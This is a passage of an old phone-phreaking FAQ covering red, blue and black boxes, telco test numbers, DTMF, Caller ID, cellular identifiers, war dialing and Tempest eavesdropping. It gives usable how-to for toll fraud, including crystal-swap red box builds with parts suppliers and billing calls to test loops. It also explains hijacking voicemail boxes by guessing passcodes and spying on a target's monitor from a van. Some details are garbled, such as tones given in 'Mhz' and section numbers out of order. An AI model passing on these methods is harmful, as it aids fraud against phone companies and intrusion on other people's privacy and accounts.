Also note carefully my reference to source modules.  One characteristic of C
is that it becomes largely unreadable unless broken into easily maintainable 
source modules (.C files).  How will the decompiler deal with that? It could 
either try to decompile the whole program into some mammoth main() function, 
losing all modularity, or it could try to place each called function into its 
own file.  The first way would generate unusable chaos and the second would
run into problems where the original source had files with multiple functions
using static data and/or one or more functions calling one or more static
functions.  A decompiler could make static data and/or functions global but
only at the expense or readability (which would already be unacceptable).

Finally, remember that commercial applications often code the most difficult
or time-critical functions in assembler which could prove almost impossible to

decompile into a C equivalent.

Like I said, don't hold your breath. As technology improves to where 
decompilers may become more feasible, optimizers and languages (C++, for 
example, would be a significantly tougher language to decompile than C) also 
conspire to make them less likely.

For years UNIX applications have been distributed in shrouded source form 
(machine but not human readable -- all comments and whitespace removed, 
variables names all in the form OOIIOIOI, etc.), which has been a quite 
adequate means of protecting the author's rights.  It's very unlikely that 
decompiler output would even be as readable as shrouded source.
--End Quoted Text--

------------------------------

Subject: 13. Tempest


01. What is Tempest?

Tempest stands for Transient Electromagnetic Pulse Surveillance Technology.

Computers and other electronic equipment release interference to their 
surrounding environment.  You may observe this by placing two video monitors 
close together.  The pictures will behave erratically until you space them 
apart.

What is important for an observer is the emission of digital pulses as these 
are used in computers.  The channel for this radiation is in two arrangements,

radiated emissions and conducted emissions.  Radiated emissions are assembled 
when components in electrical devices form to act as antennas.  Conducted 
emissions are formed when radiation is conducted along cables and wires.

Although most of the time these emissions are simply annoyances, they can 
sometimes be very helpful.  Suppose we wanted to see what project a target was

working on.  We could sit in a van outside her office and use sensitive 
electronic equipment to attempt to pick up and decipher the radiated emissions

from her video monitor.  These emissions normally exist at around 55-245 Mhz 
and can be picked up as far as one kilometer away.

A monitoring device can distinguish between different sources emitting 
radiation because the sources emanating the radiation are made up of
dissimilar elements and so this (coupled with other factors) varies the
emitted frequency.

Examples include different electronic components in video display units
(VDUs), different manufacturing processes involved in reproducing the VDUs,
different line syncs, etc.  By synchronizing our raster with the targetís
raster we can passively draw the observed screen in real-time.  This
technology can be acquired by anyone, not just government agencies.

The target could shield the emissions from her equipment or use equipment that

does not generate strong emissions.  However, Tempest equipment is not legal 
for civilian use in the United States.

Tempest is the US Government program for evaluation and endorsement of 
electronic equipment that is safe from eavesdropping.  Tempest certification 
refers to the equipment having passed a testing phase and agreeing to 
emanations rules specified in the government document NACSIM 5100A 
(Classified).  This document sets forth the emanation levels that the US 
Government believes equipment can give off without compromising the
information it is processing.


2.  How do I find out more about Tempest?

To Kublaís knowledge the most informative books about TEMPEST technology 
(legally) obtainable by civilians is available through Security Engineering 
Services, Inc., a consultant to the DoD.  The books are 
TEMPEST_Hardware_Engineering_and_Design and 
TEMPEST_Program_Management_and_Systems_Engineering.  To purchase them, send 
$200 for the entire TEMPEST set (over 800 pages) or $100 for the specified
note set.  Although unclassified, the TEMPEST books are considered sensitive 
information not sold or releasable to nationals of any country other than the 
U.S.  Include $20 each for postage.  Mail the order with fee to Security 
Engineering Services - Books, PO Box 550, Chesapeake Beach, MD 20732.

------------------------------

Subject: 1.  Introduction and Intent

As above

------------------------------

Subject: 2.  Table of Contents


Subject 1: Introduction and Intent

Subject 2: Table of Contents

Subject 3: Boxes
01. What is a Red Box?
X02. How do I build a Red Box?
X03. Where can I get a 6.5536Mhz crystal?
04. Which payphones will a Red Box work on?
05. How do I make local calls with a Red Box?
06. What is a Blue Box?
07. Do Blue Boxes still work?
08. What is a Black Box?
09. What do all the colored boxes do?

Subject 4: What is XXXXX?
01. What is an ANAC number?
02. What is a ringback number?
03. What is a loop?
04. What is a CNA number?
05. What is a Proctor Test Set?
06. What is a PBX?
07. What is a VMB?

Subject 5: DTMF
01. What are the DTMF frequencies?
J02. What are the ABCD tones for?
N03. A Quick Note About the Autovon

Subject 6: Caller ID
01. What is Caller-ID?
02. How do I block Caller-ID?

Subject 7: Cellular
01. What is an MTSO?
02. What is a NAM?
03. What is an ESN?
04. What is an MIN?
05. What is a SCN?
06. What is a SIDH?
07. What are the forward/reverse channels?

Subject 8: Miscellaneous
01. What is scanning?
02. Is scanning illegal?
X03. Where can I purchase a lineman's handset?
04. What are the frequencies of the telephone tones?
05. What are all of the * (LASS) codes?
06. What frequencies do cordless phones operate on?

Subject 9: Phone Number Lists
X01. What is the ANAC number for my area?
X02. What is the ringback number for my area?
X03. What is a loop in my area?
X04. What is the telephone company CNA number for my area?
X05. What are some numbers that always ring busy?
X06. What are some numbers that temporarily disconnect phone service?
X07. What is a Proctor Test Set in my area?
08. What are the International Direct Numbers?

------------------------------

Subject: 3.  Boxes


01. What is a Red Box?

When a coin is inserted into a payphone, the payphone emits a set of tones to 
ACTS (Automated Coin Toll System).  Red boxes work by fooling ACTS into 
believing you have actually put money into the phone.  The red box simply
plays the ACTS tones into the telephone microphone.  ACTS hears those tones,
and allows you to place your call.  The actual tones are:

Nickel Signal      1700+2200hz  0.060s on
Dime Signal        1700+2200hz  0.060s on, 0.060s off, twice repeating
Quarter Signal     1700+2200hz  33ms on, 33ms off, 5 times repeating

Canada uses a variant of ACTSD called N-ACTS.  N-ACTS uses different
tones than ACTS.  In Canada, the tones to use are:

Nickel Signal      2200hz       0.060s on
Dime Signal        2200hz       0.060s on, 0.060s off, twice repeating
Quarter Signal     2200hz       33ms on, 33ms off, 5 times repeating


02. How do I build a Red Box?

Red boxes are commonly manufactured from modified Radio Shack tone dialers, 
Hallmark greeting cards, or made from scratch from readily available
electronic components.

To make a Red Box from a Radio Shack 43-141 or 43-146 tone dialer, open the 
dialer and replace the crystal with a new one. The purpose of the new crystal 
is to cause the * button on your tone dialer to create a 1700Mhz and 2200Mhz 
tone instead of the original 941Mhz and 1209Mhz tones.  The exact value of the

replacement crystal should be 6.466806 to create a perfect 1700Mhz tone and 
6.513698 to create a perfect 2200mhz tone.  A crystal close to those values 
will create a tone that easily falls within the loose tolerances of ACTS. The 
most popular choice is the 6.5536Mhz crystal, because it is the easiest to 
procure.  Probably the best choice, however, is a 6.500 MHz crystal, because 
itís a little smaller and therefore easier to fit in.  The old crystal is the 
large shiny metal component labeled "3.579545Mhz."  When you are finished 
replacing the crystal, program the P1 button with five *'s.  That will
simulate a quarter tone each time you press P1.


03. Where can I get a 6.5536/6.500Mhz crystal?

Your best bet is a local electronics store.  Radio Shack sells them, but they 
are overpriced and the store must order them in.  This takes approximately two

weeks.  In addition, many Radio Shack employees do not know that this can be 
done.

Or, you could order the crystal mail order.  This introduces Shipping and 
Handling charges, which are usually much greater than the price of the
crystal.

It's best to get several people together to share the S&H cost.  Or, buy five 
or six yourself and sell them later.  Some of the places you can order
crystals 
are:

Digi-Key
701 Brooks Avenue South
P.O. Box 677
Thief River Falls, MN 56701-0677
(800)344-4539
Part Number:X415-ND    /* Note: 6.500Mhz and only .197 x .433 x .149! */
Part Number:X018-ND

JDR Microdevices:
2233 Branham Lane
San Jose, CA 95124
(800)538-5000
Part Number: 6.5536MHZ

Tandy Express Order Marketing
401 NE 38th Street
Fort Worth, TX 76106
(800)241-8742
Part Number: 10068625

Alltronics
2300 Zanker Road
San Jose CA 95131
(408)943-9774 Voice
(408)943-9776 Fax
(408)943-0622 BBS
Part Number: 92A057

Mouser
(800)346-6873
Part Number: 332-1066

Blue Saguaro
P.O. Box 37061
Tucson, AZ 85740
Part Number: 1458b

Unicorn Electronics
10000 Canoga Ave, Unit c-2
Chatsworth, CA 91311
Phone: 1-800-824-3432
Part Number: CR6.5


04. Which payphones will a Red Box work on?

Red Boxes will work on telco owned payphones, but not on COCOT's (Customer 
Owned Coin Operated Telephones).  Red boxes work by fooling ACTS (Automated 
Coin Toll System) into believing you have put money into the pay phone.  ACTS 
is the telephone company software responsible for saying "Please deposit XX 
cents" and listening for the coins being deposited.  COCOT's do not use ACTS.

On a COCOT, the pay phone itself is responsible for determining what coins
have been inserted.


05. How do I make local calls with a Red Box?

Payphones do not use ACTS for local calls.  To use your red box for local 
calls, you have to fool ACTS into getting involved in the call.  One way to do

this, in some areas, is by dialing 10288-xxx-xxxx.  This makes your call a
long distance call, and brings ACTS into the picture.  In other areas, you can
call Directory Assistance and ask for the number of the person you are trying
to reach.  The operator will give you the number and then you will hear a
message similar to "Your call can be completed automatically for an additional
35 cents."  When this happens, you can then use ACTS tones.


06. What is a Blue Box?

Blue boxes use a 2600hz tone to size control of telephone switches that use 
in-band signalling.  The caller may then access special switch functions, with

the usual purpose of making free long distance phone calls, using the tones 
provided by the Blue Box.


07. Do Blue Boxes still work?

This FAQ answer is excerpted from a message posted to Usenet by
Marauder of the Legion of Doom:
--Begin Quoted Text--
Somewhere along the line I have seen reference to something similar to
"Because of ESS Blue boxing is impossible."  This is incorrect.  When I lived
in Connecticut I was able to blue box under Step by Step, #1AESS, and DMS-100.

The reason is simple, even though I was initiating my call to an 800 number 
from a different exchange (Class 5 office, aka Central Office) in each case, 
when the 800 call was routed to the toll network it would route through the
New Haven #5 Crossbar toll Tandem office.  It just so happens that the trunks 
between the class 5 (CO's) and the class 4 (toll office, in this case New
Haven #5 Xbar), utilized in-band (MF) signalling, so regardless of what I
dialed, as long as it was an Inter-Lata call, my call would route through this
particular set of trunks, and I could Blue box until I was blue in the face.
The originating Central Offices switch (SXS/ESS/etc..) had little effect on my

ability to box at all.  While the advent of ESS (and other electronic
switches) has made the blue boxer's task a bit more difficult, ESS is not the
reason most of you are unable to blue box.  The main culprit is the "forward
audio mute" feature of CCIS (out of band signalling).  Unfortunately for the
boxer 99% of the Toll Completion centers communicate using CCIS links, This
spells disaster for the blue boxer since most of you must dial out of your
local area to find trunks that utilize MF signalling, you inevitably cross a
portion of the network that is CCIS equipped, you find an exchange that you
blow 2600hz at, you are rewarded with a nice "winkstart", and no matter what
MF tones you send at it, you meet with a re-order.  This is because as soon as
you seized the trunk (your application of 2600hz), your Originating Toll
Office sees this as a loss of supervision at the destination, and Mutes any
further audio from being passed to the destination (ie: your waiting trunk!).
You meet with a reorder because the waiting trunk never "hears" any of the MF
tones you are sending, and it times out.  So for the clever amongst you, you
must somehow get yourself to the 1000's of trunks out there that still utilize
MF signalling but bypass/disable the CCIS audio mute problem.  (Hint: Take a
close look at WATS extenders).
--End Quoted Text--


08. What is a Black Box?

A Black Box is a resistor (and often capacitor in parallel) placed in series 
across your phone line to cause the phone company equipment to be unable to 
detect that you have answered your telephone.  People who call you will then 
not be billed for the telephone call.  Black boxes do not work under ESS.


09. What do all the colored boxes do?

Acrylic      Steal Three-Way-Calling, Call Waiting and programmable
             Call Forwarding on old 4-wire phone systems
Aqua         Drain the voltage of the FBI lock-in-trace/trap-trace
Beige        Lineman's hand set
Black        Allows the calling party to not be billed for the call
             placed
Blast        Phone microphone amplifier
Blotto       Supposedly shorts every phone out in the immediate area
Blue         Emulate a true operator by seizing a trunk with a 2600hz
             tone
Brown        Create a party line from 2 phone lines
Bud          Tap into your neighbors phone line
Chartreuse   Use the electricity from your phone line
Cheese       Connect two phones to create a diverter
Chrome       Manipulate Traffic Signals by Remote Control
Clear        A telephone pickup coil and a small amp used to make free
             calls on Fortress Phones
Color        Line activated telephone recorder
Copper       Cause crosstalk interference on an extender
Crimson      Hold button
Dark         Re-route outgoing or incoming calls to another phone
Dayglo       Connect to your neighbors phone line
Diverter     Re-route outgoing or incoming calls to another phone
DLOC         Create a party line from 2 phone lines
Gold         Dialout router
Green        Emulate the Coin Collect, Coin Return, and Ringback tones
Infinity     Remotely activated phone tap
Jack         Touch-Tone key pad
Light        In-use light
Lunch        AM transmitter
Magenta      Connect a remote phone line to another remote phone line
Mauve        Phone tap without cutting into a line
Neon         External microphone
Noise        Create line noise
Olive        External ringer
Party        Create a party line from 2 phone lines
Pearl        Tone generator
Pink         Create a party line from 2 phone lines
Purple       Telephone hold button
Rainbow      Kill a trace by putting 120v into the phone line (joke)
Razz         Tap into your neighbors phone
Red          Make free phone calls from pay phones by generating
             quarter tones
Rock         Add music to your phone line
Scarlet      Cause a neighbors phone line to have poor reception
Silver       Create the DTMF tones for A, B, C and D
Static       Keep the voltage on a phone line high
Switch       Add hold, indicator lights, conferencing, etc..
Tan          Line activated telephone recorder
Tron         Reverse the phase of power to your house, causing your
             electric meter to run slower
TV Cable     "See" sound waves on your TV
Urine        Create a capacitative disturbance between the ring and
             tip wires in another's telephone headset
Violet       Keep a payphone from hanging up
White        Portable DTMF keypad
Yellow       Add an extension phone

Box schematics may be retrieved from these FTP sites:

ftp.netcom.com          /pub/br/bradleym
ftp.netcom.com          /pub/va/vandal
ftp.winternet.com       /users/nitehwk

------------------------------

Subject: 4.  What is XXXX?


01. What is an ANAC number?

An ANAC (Automatic Number Announcement Circuit) number is a telephone number 
that plays back the number of the telephone that called it.  ANAC numbers are 
convenient if you want to know the telephone number of a pair of wires.


02. What is a ringback number?

A ringback number is a number that you call that will immediately ring the 
telephone from which it was called.

In most instances you must call the ringback number, quickly hang up the phone

for just a short moment and then let up on the switch, you will then go back 
off hook and hear a different tone.  You may then hang up.  You will be called

back seconds later.


14. What is a loop?

This FAQ answer is excerpted from: ToneLoc v0.99 User Manual
                                   by Minor Threat & Mucho Maas

Loops are a pair of phone numbers, usually consecutive, like 836-9998 and 
836-9999.  They are used by the phone company for testing.  What good do loops

do us?  Well, they are cool in a few ways.  Here is a simple use of loops.  
Each loop has two ends, a 'high' end, and a 'low' end.  One end gives a 
(usually) constant, loud tone when it is called. The other end is silent.  
Loops don't usually ring either.  When BOTH ends are called, the people that 
called each end can talk through the loop.  Some loops are voice filtered and 
won't pass anything but a constant tone; these aren't much use to you.  Here's

what you can use working loops for:  billing phone calls!  First, call the end

that gives the loud tone.  Then if the operator or someone calls the other
end, the tone will go quiet.  Act like the phone just rang and you answered it
... say "Hello", "Allo", "Chow", "Yo", or what the fuck ever.  The operator
thinks that she just called you, and that's it!  Now the phone bill will go to
the loop, and your local RBOC will get the bill!  Use this technique in
moderation, or the loop may go down.  Loops are probably most useful when you
want to talk to someone to whom you don't want to give your phone number.


04. What is a CNA number?

CNA stands for Customer Name and Address.  The CNA number is a phone number
for telephone company personnel to call and get the name and address for a
phone number.  If a telephone lineman finds a phone line he does not
recognize, he can use the ANI number to find its phone number and then call
the CNA operator to see who owns it and where they live.

Normal CNA numbers are available only to telephone company personnel.  Private

citizens may legally get CNA information from private companies.  Two such 
companies are:

Unidirectory    (900)933-3330
Telename        (900)884-1212

Note that these are 900 numbers, and will cost you approximately one dollar
per minute.

If you are in 312 or 708, AmeriTech has a pay-for-play CNA service available
to the general public.  The number is 796-9600.  The cost is $.35/call and can

look up two numbers per call.

If you are in 415, Pacific Bell offers a public access CNL service at 
(415)705-9299.

If you are in Bell Atlantic territory you can call (201)555-5454 or 
(908)555-5454 for automated CNA information.  The cost is $.50/call.


05. What is a Proctor Test Set?

A Proctor Test Set is a tool used by telco personnel to diagnose problems with

phone lines.  You call the Proctor Test Set number and press buttons on a
touch tone phone to active the tests you select.


06. What is a PBX?

A PBX is a Private Branch Exchange.  A PBX is a small telephone switch owned
by a company or organization.  Let's say your company has a thousand
employees.  Without a PBX, you would need a thousand phone lines.  However,
only 10% of your employees are talking on the phone at one time.  What if you
had a computer that automatically found an outside line every time one of your

employees picked up the telephone.  With this type of system, you could get by

with only paying for one hundred phone lines.  This is a PBX.


07. What is a VMB?

A VMB is a Voice Mail Box.  A VMB is a computer that acts as an answering 
machine for hundreds or thousands of users.  Each user will have their own 
Voice Mail Box on the system.  Each mail box will have a box number and a pass

code.

Without a passcode, you will usually be able to leave messages to users on the

VMB system.  With a passcode, you can read messages and administer a mailbox.

Often, mailboxes will exist that were created by default or are no longer
used.

These mailboxes may be taken over by guessing their passcode.  Often the 
passcode will be the mailbox number or a common number such as 1234.

------------------------------

Subject: 5.  DTMF


01. What are the DTMF frequencies?

DTMF stands for Dual Tone Multi Frequency.  These are the tones you get when 
you press a key on your telephone touch pad.  The tone of the button is the
sum of the column and row tones.  The ABCD keys do not exist on standard 
telephones.

         1209 1336 1477 1633

     697   1    2    3    A

     770   4    5    6    B

     852   7    8    9    C

     941   *    0    #    D


02. What are the ABCD tones for?

The ABCD tones are simply additional DTFM tones that may be used in any way
the standard (0-9) tones are used.  The ABCD tones are used in the U.S.
military telephone network (AutoVon), in some Automatic Call Distributor (ACD)
systems, for control messages in some PBX systems, and in some amateur radio 
auto-patches.

In the AutoVon network, special telephones are equipped with ABCD keys.

The ABCD keys are defined as such:

A - Flash
B - Flash override priority
C - Priority communication
D - Priority override

Using a built-in maintenance mode of the Automatic Call Distributor (ACD) 
systems once used by Directory Assistance operators, you could connect two 
callers together.

The purpose of the Silver Box is to create the ABCD tones.


03.  A Quick Note About the Autovon

It is no longer used.  Stop asking about it.  Iíll write a section on the new 
Military Network shortly.

------------------------------

Subject: 6.  Caller-ID


01. What is Caller-ID?

This FAQ answer is stolen from Rockwell:

Calling Number Delivery (CND), better known as Caller ID, is a telephone 
service intended for residential and small business customers.  It allows the 
called Customer Premises Equipment (CPE) to receive a calling party's
directory number and the date and time of the call during the first 4 second
silent interval in the ringing cycle.

Parameters
~~~~~~~~~~
The data signalling interface has the following characteristics:

        Link Type:                              2-wire, simplex
        Transmission Scheme:                 Analog, phase-coherent FSK
        Logical 1 (mark)                        1200 +/- 12 Hz
        Logical 0 (space)                       2200 +/- 22 Hz
        Transmission Rate:                      1200 bps
        Transmission Level:              13.5 +/- dBm into 900 ohm load

Protocol
~~~~~~~~
The protocol uses 8-bit data words (bytes), each bounded by a start bit and a 
stop bit.  The CND message uses the Single Data Message format shown below.

| Channel  |  Carrier  |  Message  |  Message  |  Data     | Checksum |
| Seizure  |  Signal   |  Type     |  Length   |  Word(s)  | Word     |
| Signal   |           |  Word     |  Word     |           |          |

Channel Seizure Signal
~~~~~~~~~~~~~~~~~~~~~~
The channel seizure is 30 continuous bytes of 55h (01010101) providing a 
detectable alternating function to the CPE (i.e. the modem data pump).

Carrier Signal
~~~~~~~~~~~~~~
The carrier signal consists of 130 +/- 25 mS of mark (1200 Hz) to condition
the 
receiver for data.

Message Type Word
~~~~~~~~~~~~~~~~~
The message type word indicates the service and capability associated with the

data message.  The message type word for CND is 04h (00000100).

Message Length Word
~~~~~~~~~~~~~~~~~~~
The message length word specifies the total number of data words to follow.

Data Words
~~~~~~~~~~
The data words are encoded in ASCII and represent the following information:

o  The first two words represent the month
o  The next two words represent the day of the month
o  The next two words represent the hour in local military time
o  The next two words represent the minute after the hour
o  The calling party's directory number is represented by the
   remaining  words in the data word field

If the calling party's directory number is not available to the terminating 
central office, the data word field contains an ASCII "O".  If the calling 
party invokes the privacy capability, the data word field contains an ASCII 
"P".

Checksum Word
~~~~~~~~~~~~~
The Checksum Word contains the twos complement of the modulo 256 sum of the 
other words in the data message (i.e., message type, message length, and data 
words).  The receiving equipment may calculate the modulo 256 sum of the 
received words and add this sum to the received checksum word.  A result of 
zero generally indicates that the message was correctly received.  Message 
retransmission is not supported.

Example CNS Single Data Message
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
An example of a received CND message, beginning with the message type
word, follows:

04 12 30 39 33 30 31 32 32 34 36 30 39 35 35 35 31 32 31 32 51

04h=  Calling number delivery information code (message type word)
12h=  18 decimal; Number of data words (date,time, and directory
      number words)
ASCII 30,39= 09; September
ASCII 33,30= 30; 30th day
ASCII 31,32= 12; 12:00 PM
ASCII 32,34= 24; 24 minutes (i.e., 12:24 PM)
ASCII 36,30,39,35,35,35,31,32,31,32= (609) 555-1212; calling
      party's directory number
51h=  Checksum Word

Data Access Arrangement (DAA) Requirements
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To receive CND information, the modem monitors the phone line between the
first and second ring bursts without causing the DAA to go off hook in the 
conventional sense, which would inhibit the transmission of CND by the local 
central office.  A simple modification to an existing DAA circuit easily 
accomplishes the task.

Modem Requirements
~~~~~~~~~~~~~~~~~~
Although the data signalling interface parameters match those of a Bell 202 
modem, the receiving CPE need not be a Bell 202 modem.  A V.23 1200 bps modem 
receiver may be used to demodulate the Bell 202 signal.  The ring indicate bit

(RI) may be used on a modem to indicate when to monitor the phone line for CND

information.  After the RI bit sets, indicating the first ring burst, the host

waits for the RI bit to reset.  The host then configures the modem to monitor 
the phone line for CND information.

Signalling
~~~~~~~~~~
According to Bellcore specifications, CND signalling starts as early as 300 mS

after the first ring burst and ends at least 475 mS before the second ring 
burst

Applications
~~~~~~~~~~~~
Once CND information is received the user may process the information
in a number of ways.

1.  The date, time, and calling party's directory number can be
    displayed.
2.  Using a look-up table, the calling party's directory number can be
    correlated with his or her name and the name displayed.
3.  CND information can also be used in additional ways such as for:
    a.  Bulletin board applications
    b.  Black-listing applications
    c.  Keeping logs of system user calls, or
    d.  Implementing a telemarketing data base

References
~~~~~~~~~~
For more information on Calling Number Delivery (CND), refer to Bellcore 
publications TR-TSY-000030 and TR-TSY-000031.

To obtain Bellcore documents contact:

        Bellcore Customer Service
        60 New England Avenue, Room 1B252
        Piscataway, NJ   08834-4196
        (908) 699-5800


02. How do I block Caller-ID?

Always test as much as possible before relying on any method of blocking 
Caller-ID.  Some of these methods work in some areas, but not in others.

Dial *67 before you dial the number.  (141 in the United Kingdom)
Dial your local TelCo and have them add Caller-ID block to your line.
Dial the 0 Operator and have him or her place the call for you.
Dial the call using a pre-paid phone card.
Dial through Security Consultants at (900)PREVENT for U.S. calls
     ($1.99/minute) or (900)STONEWALL for international calls
     ($3.99/minute).
Dial from a pay phone.  :-)

------------------------------

Subject: 7.  Cellular


01. What is an MTSO?

MTSO stands for Mobile Telephone Switching Office.  The MTSO is the switching 
office that connects all of the individual cell towers to the Central Office 
(CO).

The MTSO is responsible for monitoring the relative signal strength of your 
cellular phone as reported by each of the cell towers, and switching your 
conversation to the cell tower which will give you the best possible
reception.


02. What is a NAM?

NAM stands for Number Assignment Module.  The NAM is the EPROM that holds 
information such as the MIN and SIDH.  Cellular fraud is committed by
modifying the information stored in this component.


03. What is an ESN?

ESN stands for Electronic Serial Number.  The is the serial number of your 
cellular telephone.


04. What is an MIN?

MIN stands for Mobile Identification Number.  This is the phone number of the 
cellular telephone.


05. What is a SCM?

SCM stands for Station Class Mark.  The SCM is a 4 bit number which holds
three different pieces of information.  Your cellular telephone transmits this

information (and more) to the cell tower.  Bit 1 of the SCM tells the cell 
tower whether your cellphone uses the older 666 channel cellular system, or
the newer 832 channel cellular system.  The expansion to 832 channels occured
in 1988.  Bit 2 tells the cellular system whether your cellular telephone is a

mobile unit or a voice activated cellular telephone.  Bit's 3 and 4 tell the 
cell tower what power your cellular telephone should be transmitting on.

Bit 1:    0 == 666 channels
          1 == 832 channels

Bit 2:    0 == Mobile cellular telephone
          1 == Voice activated cellular telephone

Bit 3/4: 00 == 3.0 watts (Mobiles)
         01 == 1.2 watts (Transportables)
         10 == .06 watts (Portables)
         11 == Reserved for future use


06. What is a SIDH?

SIDH stands for System Identification for Home System.  The SIDH in your 
cellular telephone tells the cellular system what area your cellular service 
originates from.  This is used in roaming (making cellular calls when in an 
area not served by your cellular provider).

Every geographical region has two SIDH codes, one for the wireline carrier and

one for the nonwireline carrier.  These are the two companies that are legally

allowed to provide cellular telephone service in that region. The wireline 
carrier is usually your local telephone company, while the nonwireline carrier

will be another company.  The SIDH for the wireline carrier is always an even 
number, while the SIDH for the nonwireline carrier is always an odd number.  
The wireline carrier is also known as the Side-B carrier and the non-wireline 
carrier is also known as the Side-A carrier.


07. What are the forward/reverse channels?

Forward channels are the frequencies the cell towers use to talk to your 
cellular telephone.  Reverse channels are the frequencies your cellular 
telephone uses to talk to the cell towers.

The forward channel is usually 45 mhz above the reverse channel.  For example,

if the reverse channel is at 824 mhz, the forward channel would be at 869 mhz.

------------------------------

Subject: 8.  Miscellaneous


01. What is scanning?

Scanning is dialing a large number of telephone numbers in the hope of finding

interesting carriers (computers) or tones.  Scanning can be done by hand, 
although dialing several thousand telephone numbers by hand is extremely
boring and takes a long time.  Much better is to use a scanning program,
sometimes called a war dialer or a demon dialer.  Currently, the best war
dialer available to PC-DOS users is ToneLoc from Minor Threat and Mucho Maas.
ToneLoc can be ftp'd from ftp.paranoia.com /pub/toneloc/.  A war dialer will
dial a range of numbers and log what it finds at each number.  You can then
only dial up the numbers that the war dialer marked as carriers or tones.


02. Is scanning illegal?

Excerpt from: 2600, Spring 1990, Page 27:

--Begin Quoted Text--
In some places, scanning has been made illegal.  It would be hard, though, for

someone to file a complaint against you for scanning since the whole purpose
is to call every number once and only once.  It's not likely to be thought of
as harassment by anyone who gets a single phone call from a scanning computer.

Some central offices have been known to react strangely when people start 
scanning.  Sometimes you're unable to get a dialtone for hours after you start

scanning.  But there is no uniform policy.  The best thing to do is to first 
find out if you've got some crazy law saying you can't do it.  If, as is 
likely, there is no such law, the only way to find out what happens is to give

it a try.
--End Quoted Text--

It should be noted that a law making scanning illegal was passed in Colorado 
Springs, CO.  It is now illegal to place a call in Colorado Springs without
the intent to communicate.


03. Where can I purchase a lineman's handset?

Contact East
335 Willow Street
North Andover, MA 01845-5995
(508)682-2000

Jensen Tools
7815 S. 46th Street
Phoenix, AZ 85044-5399
(800)426-1194

Specialized Products
3131 Premier Drive
Irving, TX 75063
(800)866-5353

Time Motion Tools
12778 Brookprinter Place
Poway, CA 92064
(619)679-0303


04. What are the frequencies of the telephone tones?

Type                Hz          On      Off
~~~~                ~~          ~~      ~~~
Dial Tone         350 & 440     ***     ***
Busy Signal       480 & 620     0.5     0.5
Toll Congestion   480 & 620     0.2     0.3
Ringback (Normal) 440 & 480     2.0     4.0
Ringback (PBX)    440 & 480     1.5     4.5
Reorder (Local)   480 & 620     3.0     2.0
Invalid Number    200 & 400
Hang Up Warning 1400 & 2060     0.1     0.1
Hang Up         2450 & 2600     ***     ***


05. What are all of the * (LASS) codes?

Local Area Signalling Services (LASS) and Custom Calling Feature Control
Codes:

(These appear to be standard, but may be changed locally)

Service                     Tone    Pulse/rotary   Notes
~~~~~~~                     ~~~~    ~~~~~~~~~~~~   ~~~~~
Assistance/Police           *12         n/a        [1]
Cancel forwarding           *30         n/a        [C1]
Automatic Forwarding        *31         n/a        [C1]
Notify                      *32         n/a        [C1] [2]
Intercom Ring 1 (..)        *51         1151       [3]
Intercom Ring 2 (.._)       *52         1152       [3]
Intercom Ring 3 (._.)       *53         1153       [3]
Extension Hold              *54         1154       [3]
Customer Originated Trace   *57         1157
Selective Call Rejection    *60         1160       (or Call Screen)
Selective Distinct Alert    *61         1161
Selective Call Acceptance   *62         1162
Selective Call Forwarding   *63         1163
ICLID Activation            *65         1165
Call Return (outgoing)      *66         1166
Number Display Blocking     *67         1167       [4]
Computer Access Restriction *68         1168
Call Return (incoming)      *69         1169
Call Waiting disable        *70         1170       [4]
No Answer Call Transfer     *71         1171
Usage Sensitive 3 way call  *71         1171
Call Forwarding: start      *72 or 72#  1172
Call Forwarding: cancel     *73 or 73#  1173
Speed Calling (8 numbers)   *74 or 74#  1174
Speed Calling (30 numbers)  *75 or 75#  1175
Anonymous Call Rejection    *77         1177       [5] [M: *58]
Call Screen Disable         *80         1180  (or Call Screen) [M: *50]
Selective Distinct Disable  *81         1181       [M: *51]
Select. Acceptance Disable  *82         1182       [4] [7]
Select. Forwarding Disable  *83         1183       [M: *53]
ICLID Disable               *85         1185
Call Return (cancel out)    *86         1186       [6] [M: *56]
Anon. Call Reject (cancel)  *87         1187       [5] [M: *68]
Call Return (cancel in)     *89         1189       [6] [M: *59]

Notes:
[C1]     - Means code used for Cellular One service
[1]      - for cellular in Pittsburgh, PA A/C 412 in some areas
[2]      - indicates that you are not local and maybe how to reach you
[3]      - found in Pac Bell territory; Intercom ring causes a
           distinctive ring to be generated on the current line;
           Hold keeps a call connected until another extension is
           picked up
[4]      - applied once before each call
[5]      - A.C.R. blocks calls from those who blocked Caller ID
           (used in C&P territory, for instance)
[6]      - cancels further return attempts
[7]      - *82 (1182) has been mandated to be the nationwide code for
           "Send CLID info regardless of the default setting on this
           phone line."
[M: *xx] - alternate code used for MLVP (multi-line variety package)
           by Bellcore. It goes by different names in different RBOCs.
           In Bellsouth it is called Prestige. It is an arrangement of
           ESSEX like features for single or small multiple line groups.
           The reason for different codes for some features in MLVP is
           that call-pickup is *8 in MLVP so all *8x codes are
           reassigned *5x


06. What frequencies do cordless phones operate on?

Here are the frequencies for the first generation 46/49mhz phones.

Channel    Handset Transmit    Base Transmit
~~~~~~~    ~~~~~~~~~~~~~~~~    ~~~~~~~~~~~~~
   1          49.670mhz          46.610mhz
   2          49.845             46.630
   3          49.860             46.670
   4          49.770             46.710
   5          49.875             46.730
   6          49.830             46.770
   7          49.890             46.830
   8          49.930             46.870
   9          49.990             46.930
  10          49.970             46.970

The new "900mhz" cordless phones have been allocated the frequencies between 
902-228MHz, with channel spacing between 30-100KHz.

Following are some examples of the frequencies used by phones currently on the

market.

Panasonic KX-T9000 (60 Channels)  
base     902.100 - 903.870 Base frequencies (30Khz spacing) 
handset  926.100 - 927.870 Handset frequencies 

CH   BASE    HANDSET    CH   BASE    HANDSET    CH   BASE   HANDSET
~~   ~~~~    ~~~~~~~    ~~   ~~~~    ~~~~~~~    ~~   ~~~~   ~~~~~~~
01  902.100  926.100    11  902.400  926.400    21  902.700 926.700
02  902.130  926.130    12  902.430  926.430    22  902.730 926.730
03  902.160  926.160    13  902.460  926.460    23  902.760 926.760
04  902.190  926.190    14  902.490  926.490    24  902.790 926.790
05  902.220  926.220    15  902.520  926.520    25  902.820 926.820
06  902.250  926.250    16  902.550  926.550    26  902.850 926.850
07  902.280  926.280    17  902.580  926.580    27  902.880 926.880
08  902.310  926.310    18  902.610  926.610    28  902.910 926.910
09  902.340  926.340    19  902.640  926.640    29  902.940 926.940
10  902.370  926.370    20  902.670  926.670    30  902.970 926.970

31  903.000  927.000    41  903.300  927.300    51  903.600 927.600
